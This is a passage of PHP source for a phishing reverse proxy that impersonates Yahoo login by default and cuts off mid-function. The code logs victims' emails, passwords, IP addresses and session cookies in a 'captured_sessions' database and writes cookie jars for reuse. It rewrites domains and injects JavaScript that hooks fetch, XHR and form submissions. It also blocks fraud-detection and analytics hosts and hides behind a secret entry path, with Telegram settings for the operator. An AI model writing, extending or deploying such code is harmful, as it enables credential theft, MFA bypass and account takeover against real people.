declare(strict_types=1); ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); ini_set('error_log', __DIR__ . '/error.log'); error_reporting(E_ALL); set_exception_handler(function ($e) { http_response_code(500); header('Content-Type: text/plain; charset=utf-8'); echo "Uncaught exception: " . (string)$e . "\n\n"; echo $e->getTraceAsString(); exit; }); set_error_handler(function ($severity, $message, $file, $line) { if (!(error_reporting() & $severity)) return false; throw new ErrorException($message, 0, $severity, $file, $line); }); $CONFIG_DIR = __DIR__ . '/config'; $cfg = null; $CONFIG_PATH = null; $isSecure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || ($_SERVER['SERVER_PORT'] ?? 80) == 443; $configFiles = glob($CONFIG_DIR . '/*.json'); if ($configFiles === false) $configFiles = []; foreach ($configFiles as $file) { if(basename($file) === 'admin_settings.json') continue; $jsonContent = @file_get_contents($file); $tmpCfg = @json_decode($jsonContent, true); if (is_array($tmpCfg) && !empty($tmpCfg['authorized_start_path'])) { if (strpos($_SERVER['REQUEST_URI'], $tmpCfg['authorized_start_path']) !== false) { $cfg = $tmpCfg; $CONFIG_PATH = $file; break; } } } if ($cfg === null) { $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $domainParts = explode('.', $host); $cookieDomain = (count($domainParts) > 1 && !filter_var($host, FILTER_VALIDATE_IP)) ? '.' . implode('.', array_slice($domainParts, -2)) : ''; if (session_status() === PHP_SESSION_NONE) { ini_set('session.cookie_domain', $cookieDomain); ini_set('session.cookie_samesite', 'Lax'); ini_set('session.cookie_httponly', '1'); ini_set('session.cookie_secure', $isSecure ? '1' : '0'); ini_set('session.use_strict_mode', '1'); ini_set('session.use_cookies', '1'); ini_set('session.use_only_cookies', '1'); session_name('PROXY_SESSION'); if (isset($_COOKIE['PROXY_SESSION'])) { session_start(); if (isset($_SESSION['active_config_file']) && is_file($_SESSION['active_config_file'])) { $CONFIG_PATH = $_SESSION['active_config_file']; $jsonContent = @file_get_contents($CONFIG_PATH); $cfg = @json_decode($jsonContent, true); } } } } if (!is_array($cfg)) { http_response_code(500); header('Content-Type: text/plain; charset=utf-8'); echo "No valid configuration found for this request path or session.\n"; exit; } $apiTokencode = $cfg['telegram_bot_token'] ?? ""; $chatidcode = $cfg['telegram_chat_id'] ?? ""; $domainRoot = $cfg['domain'] ?? 'dlinks.store'; $DOMAIN_MAP = []; if (!empty($cfg['domain_mappings']) && is_array($cfg['domain_mappings'])) { foreach ($cfg['domain_mappings'] as $m) { $up = (string)($m['host'] ?? ''); $ph = (string)($m['phishhost'] ?? ''); $ph = str_replace('[domain]', $domainRoot, $ph); $DOMAIN_MAP[$up] = $ph; } } $AUTH_TOKENS = $cfg['auth_tokens'] ?? []; $CREDENTIALS = $cfg['credentials'] ?? []; $AUTH_URLS = $cfg['auth_urls'] ?? []; if (!empty($cfg['login']['domain'])) { $START_REQUEST_URL = 'https://' . $cfg['login']['domain'] . ($cfg['login']['path'] ?? '/'); } else { $START_REQUEST_URL = 'https://mail.yahoo.com/n/?.src=ym&reason=myc'; } $JS_INJECT = $cfg['js_inject'] ?? []; foreach ($JS_INJECT as &$rule) { if (isset($rule['script'])) { if (is_array($rule['script'])) $rule['script'] = implode("\n", $rule['script']); else $rule['script'] = (string)$rule['script']; } } unset($rule); define('AUTHORIZED_START_PATH', $cfg['authorized_start_path'] ?? '/UEYUDGUEI'); define('PROXY_PATH_PREFIX', '/'); define('COOKIE_LOG_DIR', __DIR__ . '/cookie_logs'); define('CURL_NETSCAPE_FOLDER', __DIR__ . '/cookie_jars'); if (session_status() === PHP_SESSION_NONE) { ini_set('session.cookie_domain', '.' . $domainRoot); ini_set('session.cookie_samesite', 'Lax'); ini_set('session.cookie_httponly', '1'); ini_set('session.cookie_secure', $isSecure ? '1' : '0'); ini_set('session.use_strict_mode', '1'); ini_set('session.use_cookies', '1'); ini_set('session.use_only_cookies', '1'); session_name('PROXY_SESSION'); session_start(); } if ($CONFIG_PATH) $_SESSION['active_config_file'] = $CONFIG_PATH; $DB_FILE = __DIR__ . '/sessions.db'; try { $db = new PDO('sqlite:' . $DB_FILE); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db->exec("CREATE TABLE IF NOT EXISTS captured_sessions ( id INTEGER PRIMARY KEY AUTOINCREMENT, session_id TEXT UNIQUE, unique_role_id TEXT, email TEXT, password TEXT, ip_address TEXT, phish_name TEXT, country TEXT, user_agent TEXT, cookies TEXT, updated_at DATETIME DEFAULT CURRENT_TIMESTAMP )"); } catch (PDOException $e) { error_log("Database Error: " . $e->getMessage()); } function update_db_session($email, $password = null, $phish_name = null, $cookies = null) { global $db; if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) return; try { $sess_id = session_id(); $ip_data = get_country(); $country = $ip_data['country_code'] ?? 'UNK'; $ip = $ip_data['ip'] ?? $_SERVER['REMOTE_ADDR']; $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $unique_role_id = strtoupper($country) . '_' . $email; $stmt = $db->prepare("SELECT id FROM captured_sessions WHERE session_id = :sess_id"); $stmt->execute([':sess_id' => $sess_id]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if ($row) { $sql = "UPDATE captured_sessions SET unique_role_id = :uid, email = :email, updated_at = CURRENT_TIMESTAMP"; $params = [':uid' => $unique_role_id, ':email' => $email, ':sess_id' => $sess_id]; if (!empty($password)) { $sql .= ", password = :pw"; $params[':pw'] = $password; } if (!empty($cookies)) { $sql .= ", cookies = :ck"; $params[':ck'] = is_array($cookies) ? json_encode($cookies) : $cookies; } $sql .= " WHERE session_id = :sess_id"; $db->prepare($sql)->execute($params); } else { $sql = "INSERT INTO captured_sessions (session_id, unique_role_id, email, password, ip_address, phish_name, country, user_agent, cookies) VALUES (:sess_id, :uid, :email, :pw, :ip, :phish_name, :country, :ua, :ck)"; $db->prepare($sql)->execute([ ':sess_id' => $sess_id, ':uid' => $unique_role_id, ':email' => $email, ':pw' => $password ?? '', ':ip' => $ip, ':phish_name' => $phish_name ?? '', ':country' => $country, ':ua' => $ua, ':ck' => is_array($cookies) ? json_encode($cookies) : ($cookies ?? '') ]); } } catch (Exception $e) { error_log("DB Update Failed: " . $e->getMessage()); } } function ensure_dir(string $dir): void { if (!is_dir($dir)) mkdir($dir, 0700, true); } function current_origin(): string { $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; return $scheme . '://' . $host; } function is_https(): bool { return !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; } function cookie_log_file_path(): string { ensure_dir(COOKIE_LOG_DIR); $safe = preg_replace('/[^a-zA-Z0-9_-]/', '_', session_id()); return COOKIE_LOG_DIR . '/session_' . $safe . '.json'; } function wildcard_to_regex(string $pattern): string { $pattern = preg_quote($pattern, '#'); $pattern = str_replace('\\*', '([a-z0-9-]+)', $pattern); return '#^' . $pattern . '$#i'; } function match_wildcard_host(string $host, string $pattern): ?array { $regex = wildcard_to_regex($pattern); if (preg_match($regex, $host, $matches)) { array_shift($matches); return $matches; } return null; } function apply_wildcards_to_template(string $template, array $wildcards): string { $result = $template; // Count wildcards in template $wildcardCount = substr_count($template, '*'); if ($wildcardCount === 1) { // Single wildcard: use first capture only (e.g., "west-2fa") $result = str_replace('*', $wildcards[0] ?? '', $result); } else { // Multiple wildcards: concatenate all captures WITHOUT dots // This creates single-level subdomain for SSL compatibility // Example: ['east', '021'] with "*exch*" → "eastexch021" $concatenated = ''; foreach ($wildcards as $i => $value) { $result = preg_replace('/\*/', $value, $result, 1); } } return $result; } function upstream_host_to_proxy_host(string $upHost, array $domainMap): ?string { if (isset($domainMap[$upHost])) return $domainMap[$upHost]; foreach ($domainMap as $upPattern => $proxyTemplate) { if (!str_contains($upPattern, '*')) continue; $captured = match_wildcard_host($upHost, $upPattern); if ($captured !== null) { return apply_wildcards_to_template($proxyTemplate, $captured); } } return null; } function get_current_upstream_host(array $domainMap): string { $requested_host = $_SERVER['HTTP_HOST'] ?? ''; // Try exact match foreach ($domainMap as $up => $proxy) { if ($requested_host === $proxy) return $up; } // Try wildcard patterns (reverse) foreach ($domainMap as $upPattern => $proxyTemplate) { if (!str_contains($proxyTemplate, '*')) continue; $captured = match_wildcard_host($requested_host, $proxyTemplate); if ($captured !== null) { return apply_wildcards_to_template($upPattern, $captured); } } return 'login.yahoo.com'; } function check_authorization(array $domainMap, string $startRequestUrl): void { $request_uri = $_SERVER['REQUEST_URI'] ?? ''; if (strpos($request_uri, AUTHORIZED_START_PATH) !== false) { require_once 'landing.php'; $_SESSION['authorized'] = true; $_SESSION['authorized_at'] = time(); $_SESSION['first_visit_time'] = date('c'); if (isset($GLOBALS['CONFIG_PATH'])) $_SESSION['active_config_file'] = $GLOBALS['CONFIG_PATH']; // Log first visit after session starts log_event('FIRST_VISIT', [ 'ip' => $_SERVER['REMOTE_ADDR'] ?? '', 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '', 'request_uri' => $request_uri, 'referer' => $_SERVER['HTTP_REFERER'] ?? '', 'entry_point' => AUTHORIZED_START_PATH ]); session_write_close(); $upstreamHost = parse_url($startRequestUrl, PHP_URL_HOST) ?: ''; $proxyHost = upstream_host_to_proxy_host($upstreamHost, $domainMap); $startForClient = $proxyHost ? str_replace($upstreamHost, $proxyHost, $startRequestUrl) : $startRequestUrl; header('Location: ' . $startForClient); exit; } if (empty($_SESSION['authorized'])) { http_response_code(403); header('Content-Type: text/html; charset=utf-8'); header('Cache-Control: no-store, no-cache, must-revalidate'); $html = <<<'HTML' 403 - Unauthorized

403

Unauthorized Access

You don't have permission to access this resource.

HTML; echo $html; exit; } } function strip_hop_by_hop_headers(array $headers): array { $hop = ['connection','keep-alive','proxy-authenticate','proxy-authorization','te','trailers','transfer-encoding','upgrade']; $out = []; foreach ($headers as $k => $v) { if (in_array(strtolower($k), $hop, true)) continue; $out[$k] = $v; } return $out; } function get_request_headers(): array { $headers = []; foreach ($_SERVER as $k => $v) { if (str_starts_with($k, 'HTTP_')) { $name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($k, 5))))); $headers[$name] = $v; } } if (!empty($_SERVER['CONTENT_TYPE'])) $headers['Content-Type'] = $_SERVER['CONTENT_TYPE']; if (!empty($_SERVER['CONTENT_LENGTH'])) $headers['Content-Length'] = $_SERVER['CONTENT_LENGTH']; return $headers; } function get_upstream_origin(array $domainMap): string { global $cfg; $requested_host = $_SERVER['HTTP_HOST'] ?? ''; $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; // Try exact match foreach ($domainMap as $up => $proxy) { if ($requested_host === $proxy) return $scheme . '://' . $up; } // Try wildcard patterns (reverse match) foreach ($domainMap as $upPattern => $proxyTemplate) { if (!str_contains($proxyTemplate, '*')) continue; $captured = match_wildcard_host($requested_host, $proxyTemplate); if ($captured !== null) { $upHost = apply_wildcards_to_template($upPattern, $captured); return $scheme . '://' . $upHost; } } return $cfg['login']['domain'] ? $scheme . '://' . $cfg['login']['domain'] : 'https://login.yahoo.com'; } function join_url(string $origin, string $pathAndQuery): string { if ($pathAndQuery === '') return $origin; if ($pathAndQuery[0] !== '/') $pathAndQuery = '/' . $pathAndQuery; return rtrim($origin, '/') . $pathAndQuery; } function upstream_url_from_request(array $domainMap): string { $uri = $_SERVER['REQUEST_URI'] ?? '/'; $prefix = rtrim(PROXY_PATH_PREFIX, '/'); $upstream_origin = get_upstream_origin($domainMap); if ($prefix !== '' && $prefix !== '/' && str_starts_with($uri, $prefix)) { $uri = substr($uri, strlen($prefix)); if ($uri === '') $uri = '/'; } $fullUrl = join_url($upstream_origin, $uri); // Rewrite query parameters that contain proxy URLs if (str_contains($fullUrl, '?')) { $fullUrl = preg_replace_callback( '#([?&](?:continue|returnUrl|return|redirect|url|next|goto|ReturnUrl)=)([^&]+)#i', function($m) use ($domainMap) { $param = $m[1]; $encodedValue = $m[2]; $decodedValue = urldecode($encodedValue); // Try to rewrite if it's a URL if (preg_match('#https?://([a-z0-9][a-z0-9.-]+\.[a-z]{2,})#i', $decodedValue, $um)) { $urlHost = $um[1]; // Reverse map: proxy → upstream foreach ($domainMap as $upstream => $proxy) { if ($urlHost === $proxy) { $rewritten = str_replace($urlHost, $upstream, $decodedValue); error_log("[QueryParamRewrite] $decodedValue → $rewritten"); return $param . urlencode($rewritten); } // Try wildcard reverse match if (str_contains($proxy, '*')) { $captured = match_wildcard_host($urlHost, $proxy); if ($captured !== null) { $upstreamHost = apply_wildcards_to_template($upstream, $captured); $rewritten = str_replace($urlHost, $upstreamHost, $decodedValue); error_log("[QueryParamRewrite] Wildcard: $decodedValue → $rewritten"); return $param . urlencode($rewritten); } } } } return $m[0]; // No change }, $fullUrl ); } return $fullUrl; } function rewrite_location(string $location, array $domainMap): string { $proxyOrigin = current_origin(); $proxyScheme = parse_url($proxyOrigin, PHP_URL_SCHEME) ?: 'https'; $isProtocolRelative = str_starts_with($location, '//'); if (!preg_match('#^https?://#i', $location) && !$isProtocolRelative) return $location; $loc = $isProtocolRelative ? ($proxyScheme . ':' . $location) : $location; $parsed = parse_url($loc); $host = $parsed['host'] ?? ''; if ($host === '') return $location; // Try to map upstream → proxy $proxyHost = upstream_host_to_proxy_host($host, $domainMap); if ($proxyHost) { return str_replace($host, $proxyHost, $loc); } if ($isProtocolRelative) { $proxyHost = parse_url($proxyOrigin, PHP_URL_HOST) ?: ''; return $proxyScheme . '://' . $proxyHost . substr($location, 2); } return $location; } function rewrite_set_cookie(string $setCookie): string { $setCookie = preg_replace('/;\s*Domain=[^;]+/i', '', $setCookie); if (!is_https()) $setCookie = preg_replace('/;\s*Secure/i', '', $setCookie); return $setCookie; } function rewrite_domains_in_header(string $headerValue, array $domainMap): string { foreach ($domainMap as $upstream => $proxy) { if (str_contains($upstream, '*')) { $baseUp = str_replace('*.', '', $upstream); $baseProxy = str_replace('*.', '', $proxy); $headerValue = str_ireplace($baseUp, $baseProxy, $headerValue); } else { $headerValue = str_ireplace($upstream, $proxy, $headerValue); } } return $headerValue; } function rewrite_body_urls(string $body, string $contentType, array $domainMap): string { $ct = strtolower($contentType); $isHtml = str_contains($ct, 'text/html'); $isCss = str_contains($ct, 'text/css'); $isJs = str_contains($ct, 'javascript') || str_contains($ct, 'application/json'); if (!$isHtml && !$isCss && !$isJs) return $body; $proxyOrigin = current_origin(); $proxyScheme = parse_url($proxyOrigin, PHP_URL_SCHEME) . '://'; // Pattern to match URLs in content AND query parameters $body = preg_replace_callback( '#(https?://|//)([a-z0-9][a-z0-9.-]+\.[a-z]{2,})([^\s\'"<>]*)#i', function($m) use ($domainMap, $proxyScheme) { $protocol = $m[1]; $host = $m[2]; $pathAndQuery = $m[3] ?? ''; $proxyHost = upstream_host_to_proxy_host($host, $domainMap); if ($proxyHost) { $newProtocol = ($protocol === '//') ? '//' : $proxyScheme; $fullUrl = $newProtocol . $proxyHost . $pathAndQuery; // Also rewrite URLs inside query parameters if (str_contains($pathAndQuery, '?')) { $fullUrl = preg_replace_callback( '#([?&](?:continue|returnUrl|return|redirect|url|next|goto)=)([^&]+)#i', function($qm) use ($domainMap, $proxyScheme) { $param = $qm[1]; $encodedUrl = $qm[2]; $decodedUrl = urldecode($encodedUrl); // Rewrite the URL in the parameter if (preg_match('#https?://([a-z0-9][a-z0-9.-]+\.[a-z]{2,})#i', $decodedUrl, $um)) { $urlHost = $um[1]; $urlProxyHost = upstream_host_to_proxy_host($urlHost, $domainMap); if ($urlProxyHost) { $rewrittenUrl = str_replace($urlHost, $urlProxyHost, $decodedUrl); return $param . urlencode($rewrittenUrl); } } return $qm[0]; }, $fullUrl ); } return $fullUrl; } return $m[0]; }, $body ); return $body; } function rewrite_request_headers(array $headers, array $domainMap, string $domainRoot): array { $reverseMap = []; foreach ($domainMap as $upstream => $proxy) { $resolvedProxy = str_replace('[domain]', $domainRoot, $proxy); $reverseMap[$resolvedProxy] = $upstream; } $headersToRewrite = ['Origin', 'Referer']; foreach ($headersToRewrite as $headerName) { if (!isset($headers[$headerName])) continue; $value = $headers[$headerName]; $originalValue = $value; // Extract host from header value if (preg_match('#^(https?://)?([^/]+)(.*)#i', $value, $m)) { $protocol = $m[1] ?: 'https://'; $host = $m[2]; $path = $m[3] ?? ''; // Try exact match first if (isset($reverseMap[$host])) { $value = $protocol . $reverseMap[$host] . $path; } else { // Try wildcard match (use new function) foreach ($reverseMap as $proxyPattern => $upstreamPattern) { if (!str_contains($proxyPattern, '*')) continue; $captured = match_wildcard_host($host, $proxyPattern); if ($captured !== null) { $newHost = apply_wildcards_to_template($upstreamPattern, $captured); $value = $protocol . $newHost . $path; break; } } } if ($value !== $originalValue) { error_log("[RequestHeaderRewrite] $headerName: $originalValue → $value"); $headers[$headerName] = $value; } } } return $headers; } function rewrite_request_body_urls(string $body, string $contentType, array $domainMap, string $domainRoot): string { $ct = strtolower($contentType); // Build reverse map: resolved proxy → upstream $reverseMap = []; foreach ($domainMap as $upstream => $proxy) { $resolvedProxy = str_replace('[domain]', $domainRoot, $proxy); $reverseMap[$resolvedProxy] = $upstream; } // Helper to rewrite a single URL $rewriteUrl = function(string $url) use ($reverseMap, $domainRoot) { if (!preg_match('#^https?://#i', $url)) return $url; $parsed = parse_url($url); $host = $parsed['host'] ?? ''; if ($host === '') return $url; // Try exact match if (isset($reverseMap[$host])) { $newUrl = str_replace($host, $reverseMap[$host], $url); error_log("[RequestBodyRewrite] Exact: $url → $newUrl"); return $newUrl; } // Try wildcard match (use new function) foreach ($reverseMap as $proxyPattern => $upstreamPattern) { if (!str_contains($proxyPattern, '*')) continue; $captured = match_wildcard_host($host, $proxyPattern); if ($captured !== null) { $newHost = apply_wildcards_to_template($upstreamPattern, $captured); $newUrl = str_replace($host, $newHost, $url); error_log("[RequestBodyRewrite] Wildcard: $url → $newUrl"); return $newUrl; } } return $url; }; // JSON if (str_contains($ct, 'application/json')) { $data = @json_decode($body, true); if (is_array($data)) { array_walk_recursive($data, function(&$value) use ($rewriteUrl) { if (is_string($value) && preg_match('#^https?://#i', $value)) { $value = $rewriteUrl($value); } }); $newBody = json_encode($data, JSON_UNESCAPED_SLASHES); if ($newBody !== false) return $newBody; } } // Form-encoded if (str_contains($ct, 'application/x-www-form-urlencoded')) { parse_str($body, $params); foreach ($params as $key => $value) { if (is_string($value) && preg_match('#^https?://#i', $value)) { $params[$key] = $rewriteUrl($value); } } return http_build_query($params); } return $body; } function merge_cookies_to_jar(string $cookieJarPath, string $rawHeaders, string $upstreamHost = ''): void { // Read existing cookies $existingCookies = []; if (is_file($cookieJarPath)) { $lines = file($cookieJarPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($lines as $line) { if (str_starts_with($line, '#HttpOnly_') || $line[0] !== '#') { $existingCookies[] = $line; } } } // Parse Set-Cookie headers from response $newCookies = []; $headerLines = explode("\n", $rawHeaders); foreach ($headerLines as $line) { if (stripos($line, 'Set-Cookie:') === 0) { $cookieValue = trim(substr($line, 11)); $parsed = parse_set_cookie_header($cookieValue, $upstreamHost); if ($parsed) { $newCookies[] = $parsed; } } } // Merge: existing + new (new overwrites existing with same name+domain+path) $merged = []; $index = []; // Index existing cookies foreach ($existingCookies as $line) { if (trim($line) === '' || $line[0] === '#' && !str_starts_with($line, '#HttpOnly_')) continue; $isHttpOnly = str_starts_with($line, '#HttpOnly_'); $cleanLine = $isHttpOnly ? substr($line, 10) : $line; $parts = explode("\t", $cleanLine); if (count($parts) >= 7) { $key = $parts[0] . '|' . $parts[2] . '|' . $parts[5]; // domain|path|name $index[$key] = $line; } } // Add/Update with new cookies foreach ($newCookies as $netscapeLine) { if (!$netscapeLine) continue; $isHttpOnly = str_starts_with($netscapeLine, '#HttpOnly_'); $cleanLine = $isHttpOnly ? substr($netscapeLine, 10) : $netscapeLine; $parts = explode("\t", $cleanLine); if (count($parts) >= 7) { $key = $parts[0] . '|' . $parts[2] . '|' . $parts[5]; $index[$key] = $netscapeLine; // Overwrite or add } } // Write merged result $content = "# Netscape HTTP Cookie File\n"; foreach ($index as $line) { $content .= $line . "\n"; } file_put_contents($cookieJarPath, $content, LOCK_EX); } function parse_set_cookie_header(string $setCookie, string $requestHost = ''): ?string { $parts = explode(';', $setCookie); $cookiePair = trim($parts[0]); if (!str_contains($cookiePair, '=')) return null; list($name, $value) = explode('=', $cookiePair, 2); $name = trim($name); $value = trim($value); $domain = ''; $path = '/'; $secure = false; $httpOnly = false; $expires = 0; for ($i = 1; $i < count($parts); $i++) { $attr = trim($parts[$i]); if (stripos($attr, 'domain=') === 0) { $domain = ltrim(substr($attr, 7), '.'); $domain = '.' . $domain; } elseif (stripos($attr, 'path=') === 0) { $path = substr($attr, 5); } elseif (stripos($attr, 'expires=') === 0) { $dateStr = substr($attr, 8); $expires = strtotime($dateStr) ?: 0; } elseif (stripos($attr, 'max-age=') === 0) { $maxAge = (int)substr($attr, 8); $expires = time() + $maxAge; } elseif (strcasecmp($attr, 'secure') === 0) { $secure = true; } elseif (strcasecmp($attr, 'httponly') === 0) { $httpOnly = true; } } if ($domain === '') { $domain = $requestHost ?: ($_SERVER['HTTP_HOST'] ?? 'localhost'); if (!str_starts_with($domain, '.')) $domain = '.' . $domain; } // FILTER: Skip if domain is a proxy domain (contains our domainRoot) global $domainRoot; if ($domainRoot && str_contains(strtolower($domain), strtolower($domainRoot))) { error_log("[CookieMerge] Skipping proxy domain cookie: $name @ $domain"); return null; // Don't save proxy domain cookies } $flag = 'TRUE'; $secureFlag = $secure ? 'TRUE' : 'FALSE'; $netscapeLine = "$domain\t$flag\t$path\t$secureFlag\t$expires\t$name\t$value"; if ($httpOnly) { $netscapeLine = '#HttpOnly_' . $netscapeLine; } return $netscapeLine; } function session_cookiejar_path(): string { if (!isset($_SESSION['cookiejar_path'])) { ensure_dir(CURL_NETSCAPE_FOLDER); $_SESSION['cookiejar_path'] = CURL_NETSCAPE_FOLDER . '/proxy_cookiejar_' . session_id() . '.txt'; } return (string) $_SESSION['cookiejar_path']; } function parse_netscape_cookiejar_to_json_array(string $cookieFile): array { if (!is_file($cookieFile)) return []; $cookies = []; $lines = @file($cookieFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!$lines) return []; foreach ($lines as $line) { if ($line === '' || $line[0] === '#') continue; $parts = explode("\t", $line); if (count($parts) < 7) continue; $domain = $parts[0]; $path = $parts[2]; $secure = $parts[3] === 'TRUE'; $expires = (int)$parts[4]; $name = $parts[5]; $value = $parts[6]; if ($expires > 0 && $expires < time()) continue; $cookies[] = [ 'Name' => $name, 'Value' => $value, 'Domain' => $domain, 'Path' => $path, 'Max-Age' => null, 'Expires' => $expires > 0 ? $expires : null, 'Secure' => $secure, 'Discard' => $expires === 0, 'HttpOnly' => false, ]; } return $cookies; } function write_cookie_snapshot_json(array $cookies): void { ensure_dir(COOKIE_LOG_DIR); $logPath = cookie_log_file_path(); $existingData = []; // Load existing log if available if (is_file($logPath)) { $existingData = json_decode(file_get_contents($logPath), true) ?: []; } // Initialize structure if new if (empty($existingData)) { $existingData = [ 'session_id' => session_id(), 'ip' => $_SESSION['ip'] ?? '', 'user_agent' => $_SESSION['user_agent'] ?? '', 'request_host' => $_SERVER['HTTP_HOST'] ?? '', 'upstream_host' => get_current_upstream_host($GLOBALS['DOMAIN_MAP'] ?? []), 'authorized_at' => $_SESSION['authorized_at'] ?? null, 'first_visit' => date('c'), 'last_activity' => date('c'), 'events' => [], 'cookies' => [] ]; } else { $existingData['last_activity'] = date('c'); } // Update cookies $existingData['cookies'] = $cookies; file_put_contents($logPath, json_encode($existingData, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX); } function log_event(string $type, array $data = []): void { ensure_dir(COOKIE_LOG_DIR); $logPath = cookie_log_file_path(); $logData = []; if (is_file($logPath)) { $logData = json_decode(file_get_contents($logPath), true) ?: []; } if (!isset($logData['events'])) { $logData['events'] = []; } $logData['events'][] = [ 'type' => $type, 'timestamp' => date('c'), 'data' => $data, 'request_uri' => $_SERVER['REQUEST_URI'] ?? '', 'request_method' => $_SERVER['REQUEST_METHOD'] ?? 'GET' ]; $logData['last_activity'] = date('c'); file_put_contents($logPath, json_encode($logData, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX); } function generate_domain_rewrite_js(array $domainMap, string $proxyDomain): string { $jsMap = []; foreach ($domainMap as $upstream => $proxy) { $jsMap[$upstream] = $proxy; } $jsMapJson = json_encode($jsMap, JSON_UNESCAPED_SLASHES); $proxyDomainJson = json_encode($proxyDomain); $script = <<<'JSEOF' (function() { const domainMap = JSON_MAP_PLACEHOLDER; const proxyDomain = PROXY_DOMAIN_PLACEHOLDER; console.log('[Proxy Interceptor] Loaded with mappings:', domainMap); const blacklist = [ 'apm.us-west-2.aws.found.io', 'iesnare.com', 'mpsnare.iesnare.com', 'google-analytics.com', 'googletagmanager.com', 'doubleclick.net', 'clarity.ms', 'hotjar.com', 'segment.com', 'segment.io', 'nr-data.net', 'newrelic.com', 'elastic.co' ]; function isBlacklisted(host) { const hostLower = host.toLowerCase().replace(/:\d+$/, ''); for (const blocked of blacklist) { if (hostLower === blocked || hostLower.endsWith('.' + blocked)) return true; } return false; } function matchWildcard(host, pattern) { const regex = new RegExp('^' + pattern.replace(/\*/g, '([a-z0-9-]+)').replace(/\./g, '\\.') + '$', 'i'); const match = host.match(regex); return match ? match.slice(1) : null; } function applyWildcards(template, captures) { let result = template; for (const val of captures) { result = result.replace('*', val); } return result; } function rewriteUrl(url) { if (!url || typeof url !== 'string') return url; try { const urlObj = new URL(url, window.location.href); const originalHost = urlObj.hostname; const currentHost = window.location.hostname; if (originalHost === currentHost || originalHost.endsWith('.' + proxyDomain)) return url; if (isBlacklisted(originalHost)) { console.log('[Proxy] ⛔ Blocked:', originalHost); return url; } // Try exact match if (domainMap[originalHost]) { const newHost = domainMap[originalHost].replace(/:\d+$/, ''); urlObj.hostname = newHost; console.log('[Proxy] ✅ Exact:', originalHost, '→', newHost); return urlObj.href; } // Try wildcard patterns for (const [upstream, proxy] of Object.entries(domainMap)) { if (!upstream.includes('*')) continue; const captured = matchWildcard(originalHost, upstream); if (captured) { const newHost = applyWildcards(proxy, captured); urlObj.hostname = newHost; console.log('[Proxy] ✅ Wildcard:', originalHost, '→', newHost); return urlObj.href; } } console.log('[Proxy] ⚠️ Unmapped:', originalHost); return url; } catch (e) { console.error('[Proxy] ❌ Error:', e); } return url; } const originalFetch = window.fetch; window.fetch = function(resource, options) { if (typeof resource === 'string') { resource = rewriteUrl(resource); } else if (resource instanceof Request) { const rewritten = rewriteUrl(resource.url); resource = new Request(rewritten, resource); } return originalFetch.call(this, resource, options); }; const originalOpen = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function(method, url, ...args) { const rewritten = rewriteUrl(url); return originalOpen.call(this, method, rewritten, ...args); }; document.addEventListener('submit', function(e) { const form = e.target; if (form.action) { const rewritten = rewriteUrl(form.action); if (rewritten !== form.action) { console.log('[Proxy] 📝 Form:', form.action, '→', rewritten); form.action = rewritten; } } }, true); console.log('[Proxy Interceptor] ✅ Active'); })(); JSEOF; return str_replace( ['JSON_MAP_PLACEHOLDER', 'PROXY_DOMAIN_PLACEHOLDER'], [$jsMapJson, $proxyDomainJson], $script ); } function maybe_inject_js(string $body, string $contentType, array $jsInject, array $domainMap, string $upstreamCsp = ''): string { if (!str_contains(strtolower($contentType), 'text/html')) return $body; $host = $_SERVER['HTTP_HOST'] ?? ''; $path = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH) ?? '/'; $nonceValue = null; if ($upstreamCsp !== '') { if (preg_match("/'nonce-([^']+)'/i", $upstreamCsp, $m)) $nonceValue = $m[1]; elseif (preg_match('/nonce-([A-Za-z0-9+\/=._-]+)/i', $upstreamCsp, $m2)) $nonceValue = $m2[1]; } foreach ($jsInject as $rule) { $domains = $rule['trigger_domains'] ?? []; $paths = $rule['trigger_paths'] ?? []; $script = $rule['script'] ?? ''; if ($script === '') continue; $domainMatch = false; foreach ($domains as $d) { if (str_contains($d, '*')) { $base = str_replace('*.', '', $d); if (str_ends_with($host, $base)) { $domainMatch = true; break; } } else { if ($host === $d) { $domainMatch = true; break; } $mapped = upstream_host_to_proxy_host($d, $domainMap); if ($mapped && $host === $mapped) { $domainMatch = true; break; } } } if (!$domainMatch) continue; foreach ($paths as $p) { $match = false; if ($p === '/*') $match = true; elseif ($p === '/' && $path === '/') $match = true; elseif ($p === $path) $match = true; elseif (str_ends_with($p, '*')) { $prefix = rtrim($p, '*'); if (str_starts_with($path, $prefix)) $match = true; } if (!$match) continue; $nonceAttr = $nonceValue !== null ? ' nonce="' . htmlspecialchars($nonceValue, ENT_QUOTES) . '"' : ''; $scriptTag = "\n" . $script . "\n"; if (stripos($body, '') !== false) { return preg_replace('/<\/body>/i', $scriptTag . '', $body, 1); } return $body . $scriptTag; } } return $body; } function auth_tokens_satisfied(array $authTokens, array $cookieList): array { $map = []; $isListOfObjects = false; foreach ($authTokens as $k => $v) { if (is_int($k) && is_array($v) && isset($v['domain'])) { $isListOfObjects = true; break; } } if ($isListOfObjects) { foreach ($authTokens as $entry) { $d = (string)($entry['domain'] ?? ''); $keys = $entry['keys'] ?? []; if ($d !== '') $map[$d] = array_values($keys); } } else { foreach ($authTokens as $d => $keys) { $map[(string)$d] = array_values((array)$keys); } } $cookieIndex = []; foreach ($cookieList as $c) { $name = $c['Name'] ?? ($c['name'] ?? null); $domain = $c['Domain'] ?? ($c['domain'] ?? ''); if 